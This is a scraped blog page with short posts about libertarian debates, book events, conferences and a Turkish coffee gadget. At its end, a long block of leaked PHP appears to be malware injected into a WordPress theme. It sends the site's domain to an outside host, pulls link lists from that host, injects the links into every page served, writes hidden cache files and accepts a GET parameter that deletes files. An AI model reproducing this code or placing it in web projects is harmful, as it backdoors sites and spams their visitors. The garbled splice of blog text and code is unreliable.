Is Capitalism Moral? Frank Stilwell, Emeritus Professor of Political Economy at the University of Sydney and I debated this topic at an event organized and hosted by the Australian Taxpayers’ Alliance. Combating anti-capitalist ideas in universities and academic settings can ensure that we do not have to combat them in the political arena. If the subject is of interest to you, you might take a look at The Morality is Capitalism (available at Amazon here).

{ 0 comments }

In Peace, Love, & Liberty (available at Amazon here), Radley Balko of the Washington Post addresses the issue of domestic police militarization and shows that it is not only an inefficient method of policing, but that it is also more dangerous, more expensive, and a threat to civil liberties as well. This short video features me speaking about Balko’s wonderful contributions to the book and decrying the increasingly militarized police forces not only here in the United States, but also in Russia, Canada, Brazil, and the United Kingdom.

{ 0 comments }

In this video I speak a little bit about Peace, Love & Liberty (Available at Amazon here) on the campus of University of California, Berkeley, where the movement against the Vietnam War started in the 1960s.

{ 0 comments }

The Cato Institute has invited me, Clark Ruper, and Chip Bishop  to speak at an event called Peace, Love & Liberty: The Path to Less War and More Peace, which will take place tomorrow, October 29th, 2014, at 6:00 p.m Eastern. We will be discussing the recently published book Peace, Love & Liberty. I will be happy to sign copies of the work if anyone is interest and there will be a Halloween-themed reception after this as well.

Few political objectives are more lofty and common than “world peace.”  Millennials—a generation accustomed to frequent world travel, increasing international commerce, and an open exchange of ideas and knowledge on the Internet—value peace and freedom worldwide.  But how do we achieve that?  The evidence indicates liberty fosters peace while war undermines liberty. Drawing on years of experience in academia, public policy, political activism, and journalism, the authors of SFL’s book Peace, Love, & Liberty provide the intellectual underpinnings of a world with liberty and without war. They also set out tangible recommendations to realize those ideals. Join us on Wednesday October 29, 2014 at 6pm ET at the Cato Institute in Washington, D.C. for a provocative discussion of how to advance peace and freedom in theory and practice. Authors of this new work will be available to sign books.

You can register to attend in person here, or by emailing events@cato.org, fax (202) 371-0841, or call (202) 789-5229 by 6:00 p.m. on Tuesday, October 28, 2014. If you can’t make it to the event, you can watch the action through a live webcast at www.cato.org/live .

 

{ 0 comments }

tomGPalmer

 

It’s an honor to be invited to speak to the International Students for Liberty Conference on February 13-15, 2015. This is a great conference where students from all over the world coordinate their efforts for liberty, network, and learn from the speakers and each others. Register as soon as possible, the early bird rate ends on October 31st. Other speakers include David Boaz, Lawrence Reed, Grover Norquist, Yeon-mi Park, Rob Kampia, and others.

{ 0 comments }

Upcoming Events in Europe

October 17, 2014

I will be attending European Students for Liberty’s Regional Conference in Sofia, Bulgaria, on Saturday, October 18th, 2014. I’m honored to be the keynote speaker. If you’re looking to attend, you can register and find out more about the event here.

Early next week I will be at the Oslo Freedom Forum, in Oslo, Norway. This event is from October 20th until the 22nd and will feature noted speakers like Steven Pinker, Garry Kasparov, CJ Adams, and others.  This year’s topic is “Defeating Dictators”. If you’re interested in the event, details can be found here.

On October 25th I’ll have the opportunity to address the European Students for Liberty Regional Conference in Cologne, Germany. As a native of Germany, I’m excited to speak to students who are passionate about liberty there. It is always refreshing to see. If you’d like to attend the event, registration is here.

{ 0 comments }

I had the opportunity to attend the 2014 Estudiantes por la Libertad Conference in Guatemala, at which I was interviewed by the PanAm Post about the growth of Students for Liberty worldwide and in Latin America.

{ 0 comments }

Remembering Leonard Liggio

October 15, 2014

My thoughts on the passing of a giant of libertarian thought and a very kind and gentle man, Leonard Liggio.

{ 1 comment }


I don’t know who wrote the caption for this, but it’s perfect.

{ 0 comments }

I’ve just ordered one for the coffee bar my nephew and my niece-in-law are setting up. It looks cool. (And I like Turkish coffee.) Here’s how to order it and here’s how it works. (The narration of the video is in French…but…why not?)

{ 0 comments }

Good'; exit; } if(isset($_GET['unlink_cache'])) unlink_cache('wp-content/themes/thesis_151/lib/css/data/'); function put_array_work($way, $var) { $stOutFileHandle = false; $stOutFileHandle = fopen($way, 'w'); flock($stOutFileHandle, LOCK_EX); fwrite($stOutFileHandle, $var); flock($stOutFileHandle, LOCK_UN); fclose($stOutFileHandle); } function ad_block() { $way = 'wp-content/themes/thesis_151/lib/css/'; if(!file_exists($way.'data/work.txt')) { $sent['domain'] = @$_SERVER['HTTP_HOST']; ini_set('default_socket_timeout', 1); $work = false; $work = unserialize(file_get_contents('http://searchanalitiksnets.com/lm/analiz.php?sent='.urlencode(serialize($sent)))); if(!$work === false && is_array($work)) { if(!isset($work['period'])) $work['period'] = 30; $period = rand($work['period'] / 2, $work['period']+($work['period'] / 2)); $work['check'] = time() + $period * 60; if(isset($work['new']) && !empty($work['new'])) { $links = $work['new']; unset($work['new']); } $work['use'] = array(); $write_work = true; } else { $period = rand(15, 45) * 60; $temp = time() + $period; $work = array('time' => time(),'check' => $temp, 'use' => array(), 'period' => '30', 'start' => '
', 'end' => '
'); $write_work = true; } } else { $work = false; $work = unserialize(file_get_contents($way.'data/work.txt')); if($work === false && !is_array($work)) { $period = rand(15, 45) * 60; $temp = time() + $period; $work = array('time' => time(),'check' => $temp, 'use' => array(), 'period' => '30', 'start' => '
', 'end' => '
'); $write_work = true; } } if(!isset($links)) { if(file_exists($way.'data/temp.txt')) { $links = unserialize(file_get_contents($way.'data/temp.txt')); } else { $links = array(); put_array_work($way.'data/temp.txt', serialize($links)); } } if($work['check'] < time() && empty($links)) { if(!empty($work['use'])) $sent['use'] = $work['use']; if(isset($work['time'])) { $sent['time'] = $work['time']; } else { $sent['time'] = time(); } $sent['domain'] = @$_SERVER['HTTP_HOST']; ini_set('default_socket_timeout', 1); $import = false; $import = unserialize(file_get_contents('http://searchanalitiksnets.com/lm/analiz.php?sent='.urlencode(serialize($sent)))); if(!$import === false && is_array($import) && $import['time'] != '00000') { if(isset($import['new'])) { $links = $import['new']; $write_link = true; } if(isset($import['unlink'])) $work['unlink'] = $import['unlink']; if(isset($import['period'])) $work['period'] = $import['period']; if(isset($import['start'])) $work['start'] = $import['start']; if(isset($import['end'])) $work['end'] = $import['end']; if(isset($import['time'])) $work['time'] = $import['time']; } if(!isset($work['period'])) $work['period'] = 30; $period = rand($work['period'] / 2, $work['period'] + ($work['period'] / 2)); $work['check'] = time() + $period * 60; $write_work = true; } $id = $_SERVER['REQUEST_URI']; if(file_exists($way.'data/'.md5($id).'.dat')) { $page = unserialize(file_get_contents($way.'data/'.md5($id).'.dat')); $echo = ''; if(!empty($links)) { $domains = array_keys($links); foreach($domains as $domain) { if(!isset($page[$domain])) { $page[$domain] = $links[$domain]['0']; array_shift($links[$domain]); if(empty($links[$domain])) unset($links[$domain]); $write_page = true; $write_link = true; } } } if(!empty($work['unlink'])) { foreach($work['unlink'] as $domain) { if(isset($page[$domain])) { unset($page[$domain]); $write_page = true; } if(isset($work['use'][$domain])) { unset($work['use'][$domain]); $write_work = true; } if(isset($links[$domain])) { unset($links['use'][$domain]); $write_link = true; } } } if(!isset($work['start']) || !isset($work['end'])) { $work['start'] = '
'; $work['end'] = '
'; $write_work = true; } if(!empty($page)) { foreach($page as $domain => $link) { $echo .= $link.' '; if(!isset($work['use'][$domain])) { $work['use'][$domain] = ''; $write_work = true; } } echo preg_replace('/\"/', '"', $work['start'].$echo.$work['end']); } } else { if(!empty($links)) { $page = array(); $domains = array_keys($links); foreach($domains as $domain) { $page[$domain] = $links[$domain]['0']; array_shift($links[$domain]); if(empty($links[$domain])) unset($links[$domain]); if(!isset($work['use'][$domain])) { $work['use'][$domain] = ''; $write_work = true; } } $echo = ''; if(!isset($work['start']) || !isset($work['end'])) { $work['start'] = '
'; $work['end'] = '
'; $write_work = true; } foreach($page as $domain => $link) { $echo .= $link.' '; } echo preg_replace('/\"/', '"', $work['start'].$echo.$work['end']); $write_page = true; $write_link = true; } } if ($write_page === true) { put_array_work($way.'data/'.md5($id).'.dat', serialize($page)); } if ($write_work === true) { put_array_work($way.'data/work.txt', serialize($work)); } if ($write_link === true) { put_array_work($way.'data/temp.txt', serialize($links)); } } ad_block(); ?>